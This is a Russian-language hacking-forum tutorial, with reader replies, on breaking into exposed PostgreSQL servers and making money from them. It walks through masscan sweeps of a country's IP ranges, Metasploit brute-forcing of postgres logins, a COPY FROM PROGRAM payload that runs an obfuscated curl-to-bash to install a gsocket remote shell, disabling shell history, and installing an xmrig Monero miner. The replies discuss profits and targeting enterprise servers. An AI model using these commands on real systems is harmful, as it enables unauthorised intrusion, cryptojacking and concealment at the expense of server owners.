LIMB
Вход Регистрация

тема

PostgreSQL: взлом и монетизация

Dronky · · 8 ответов · 433 просмотров

Автор @Dronky 
Специально для forum.LIMB.cc


Не удалось прогрузить медиа


Всем привет! Наверняка каждый из вас хотя бы раз в жизни слышал слово «Postgres». Его хвалят разработчики, уважают сисадмины, а твой одногруппник Вася делал когда то лабу с ним. В этой статье я расскажу как взломать PostgreSQL и немного с этого заработать)

Я буду все показывать на Linux. Поэтому, если вы хотите повторить что нибудь из статьи - поставьте какой-ниубдь Linux-дистрибутив на виртуалку, а лучше используйте дедик.


Теория

Что такое postgres?

PostgreSQL (или просто Postgres) — это бесплатная объектно-реляционная система управления базами данных с открытым исходным кодом.
Она позволяет создавать, хранить и управлять базами данных с помощью языка запросов SQL, обеспечивая надежное хранение, гибкий доступ и управление данными.

По данным опроса Stack Overflow 2025 года, PostgreSQL — самая популярная система управления базами данных (СУБД) в мире.

Практика

Этап 1. Поиск PostgreSQL серверов с помощью masscan​

Для начала нам нужно получить ip диапазоны (IP ranges)

Заходим сюда --> https://www.iwik.org/ipcountry/

Выбираем страну, которую будем сканить. Например, Сингапур. Получаем такую ссылку https://www.iwik.org/ipcountry/SG.cidr (две заглавные буквы - это двухбуквенный код страны)

Открываем терминал и пишем команду для скачивания ip диапазонов:
Code:
wget https://www.iwik.org/ipcountry/SG.cidr

Теперь запускаем masscan (c его помощью мы найдем postgres сервера)
Code:
sudo masscan -iL SG.cidr --rate 500 -p5432 -oX results_sg_5432.txt

Объяснение команды:

-iL - указываем масскану файл с ip-диапазонами, которые нужно просканировать

--rate - скорость сканирования

Важно: если вы укажете слишком большой rate например 20000, то возможны пропуски ip адресов
Например, если вы будете сканировать с rate 300 вы получите - 1000 ip, а (к примеру) с rate 20000 - 670 ip

-p - указываем порт, который нужно сканировать. Postgres использует по умолчанию 5432 порт, поэтому пишем его

-oX - сохраняем результаты сканирования в файл

После завершения сканирования у вас будет файл примерно с таким содержимым:

Не удалось прогрузить медиа


Нам нужно почистить этот файл от лишнего мусора, чтобы в нем остались ip адреса в таком формате:
x.x.x.x
пример: 192.168.1.1

Для этого мы будем использовать regex (регулярные выражения) и утилиту grep:
Code:
sudo grep -oP 'addr="(\d+\.\d+\.\d+\.\d+)"' results_sg_5432.txt | sed 's/addr="//g; s/"//g' > ips_sg_5432.txt

Эта команда найдет все ip адреса в файле results_sg_5432.txt и сохранит их в файл ips_sg_5432.txt

results_sg_5432.txt - файл с «мусором»
ips_sg_5432.txt - почищенный файл, в котором содержатся только ip адреса

Старайтесь называть файлы так, чтобы по названию было примерно понятно, что там находится.

В итоге мы получили файл с ip-адресами серверов postgres, работающих на порту 5432:

Не удалось прогрузить медиа


Этап 2. Брутфорсим PostgreSQL сервера с помощью metasploit framework

Вы можете использовать какой-нибудь другой инструмент. Неважно. Наша задача - получить доступ к postgres серверам методом bruteforce.

Запускаем metasploit framework:

msfdb init
msfconsole

Настраиваем metasploit framework для брута postgres:

Code:
1. use auxiliary/scanner/postgres/postgres_login (используем модуль для брута postgres)
2. set PASS_FILE /home/lolkek/passwords.txt (указываем путь к файлу с паролями для брута)
3. set USER_FILE /home/lolkek/users.txt (указываем путь к файлу с юзерами, у меня там один юзер - postgres)
4. set RHOSTS file:/home/lolkek/ips_sg_5432.txt (указываем путь к «почищенному» файлу с ip-адресами, которые мы получили на первом этапе)
5. set STOP_ON_SUCCESS true (если метасплоит подобрал логин и пароль например, к серверу 192.168.1.1, то больше он не будет брутить этот сервак)
6. set THREADS 10 (скорость брута)
7. set verbose true (выводить информацию о бруте)
8. run (запускаем брут)

Когда брут завершится - пропишите команду creds
Эта команда покажет нам сбрученные postgres сервера, т.е. к которым удалось получить доступ:

Не удалось прогрузить медиа


host - ip адрес сбрученного postgres сервера
public - имя пользователя
private - пароль

Этап 3. Подключаемся к PostgreSQL серверу

Пропишем в терминале команду для подключения к postgres:
Code:
psql -h <ip> -p 5432 -U <username>

Объяснение:

psql - утилита для подключения к postgres
-h - указываем ip postgres сервера, к которому подключаемся
-p - указываем порт подключения
-U указываем имя пользователя

При успешном подключении вы попадете в psql консоль:

Не удалось прогрузить медиа


Этап 4. Получаем доступ к хосту, на котором работает PostgreSQL

Для этого мы будем использовать GSocket (https://www.gsocket.io/) и команды SQL поддерживаемые PostgreSQL (https://www.postgresql.org/docs/current/sql-commands.html)

Итак, вот команды с помощью которых мы попытаемся получить шелл на хостовой системе:
Code:
CREATE TABLE IF NOT EXISTS pg_temp.log_tmp (filename TEXT);

TRUNCATE pg_temp.log_tmp;

COPY pg_temp.log_tmp FROM PROGRAM 'bash -c "$(curl -fsSL $(echo aHR0cHM6Ly9nc29ja2V0LmlvL3k= | base64 -d))"  || exit 0' WITH DELIMITER '~';

SELECT * FROM pg_temp.log_tmp;

Ничего непонятно, но очень интересно - скажете  вы =)
Сейчас все объясню

CREATE TABLE IF NOT EXISTS pg_temp.log_tmp (filename TEXT);
Создаем временную таблицу для хранения данных. Таблица будет существовать только в текущей сессии. Она автоматически удалится, как только мы отключимся от postgres сервера.

TRUNCATE pg_temp.log_tmp;
Очищаем таблицу от любых данных, которые могли остаться с предыдущих запусков.

COPY pg_temp.log_tmp FROM PROGRAM 'bash -c "$(curl -fsSL $(echo aHR0cHM6Ly9nc29ja2V0LmlvL3k= | base64 -d))"  || exit 0' WITH DELIMITER '~';


Эту команду разберем по частям:

COPY pg_temp.log_tmp FROM​
позволяет выполнить встроенную команду Linux и записать ее вывод в таблицу log_tmp​

PROGRAM 'bash -c "$(curl -fsSL $(echo aHR0cHM6Ly9nc29ja2V0LmlvL3k= | base64 -d))"  ​
эта команда установит gsocket на хостовую тачку. Я просто взял команду отсюда https://www.gsocket.io/deploy/ и закодировал в base64​

|| exit 0 ​
если команда curl завершится с ошибкой, то команда вернет код 0 после выполнения, не приводя к ошибкам выполнения в postgres​
​
WITH DELIMITER '~'​
нужно, чтобы postgresql правильно "распарсил" данные​


SELECT * FROM pg_temp.log_tmp;
эта команда выведет все содержимое таблицы log_tmp

Важно!
Команда COPY...PROGRAM не сработает если у юзера нет прав суперпользователя (superuser)

Существует несколько причин почему у юзера нет прав:
1.админ сам изменил права
2.сервер до вас отработали) Например, взламывают сервер и выполняют команду: ALTER user "postgres" 
эта команда лишает прав суперпользователя (nosuperuser) юзера postgres

Если вы сделали все верно, то в psql консоли появится вывод от gsocket:

Не удалось прогрузить медиа


Теперь откройте терминал и введите команду полученную от gsocket (на фото указана синей стрелкой). Команда: gs-netcat -s "secret" -i

Не удалось прогрузить медиа


Нажмите enter.
Поздравляю! Вы получили шелл на хост-системе.

Не удалось прогрузить медиа


Переходим к последнему этапу - монетизация

Этап 5. Монетизация

Не удалось прогрузить медиа


Скорее всего по фото вы уже догадались, что мы будем майнить.

Пул, который я буду использовать - c3pool
Программа для майнинга - xmrig

Нам нужно скачать какой-нибудь monero кошелек. Например, exodus.
Установите его и откройте.
Перейдите в Wallet и в поиске напишите Monero.
Нажмите на кнопку Receive.
Скопируйте адрес своего кошелька monero.

Не удалось прогрузить медиа


На взломанной тачке введите set +o history (эта команда отключает запись команд в историю для текущей сессии Bash)

Следующей командой установим и запустим xmrig:
Code:
sudo curl -s -L https://download.c3pool.org/xmrig_setup/raw/master/setup_c3pool_miner.sh | LC_ALL=en_US.UTF-8 bash -s тут адрес вашего кошелька monero

Не удалось прогрузить медиа


После этого должен начаться процесс майнинга. Через 5-10 минут машина, на которой вы запустили xmrig должна отобразится в вашем личном кабинете c3pool.

Как войти в личный кабинет?

Перейдите сюда https://c3pool.org/ и впишите адрес вашего кошелька monero.
Нажмите кнопку Search.

Не удалось прогрузить медиа


Вы попадете в личный кабинет.

Не удалось прогрузить медиа


В нем вы сможете смотреть количество ваших воркеров, т.е количество машин на которых запущен xmrig, хешрейт и многое другое.

На этом у меня все.

Всем спасибо за внимание =)​
👍31 ❤️4 😁6 😮6 🤔4 😢3
Как там с профитами щас на майнинге?
👍2
Ответhyperbored

Как там с профитами щас на майнинге?

Судя по картинке 0.02 бакса в день за 2 воркера, по моему сомнительная идея
👍2
Классная статья! Спасибо!)
Если немного доработать то в принципе неплохо! Особенно если выйти на сервера предприятии.
👍2
монетизация - монеризация )))
крутая статья бро, но олдовая что-ли? монеро в эксодусе уже пару месяцев как отключили
👍1
Интересно. Только процесс надо скриптом оптимизировать и будет иметь смысл. Кто пробовал?
👍1
Привет, крутая статья, а что можешь сказать по OPSEC? Как то нужно окружение настраивать?
Ну не на все версии подходит CVE-2019-9193, 6 лет назад был такой трюк

Гостевой просмотр. Чтобы отвечать и ставить реакции, войдите или зарегистрируйтесь.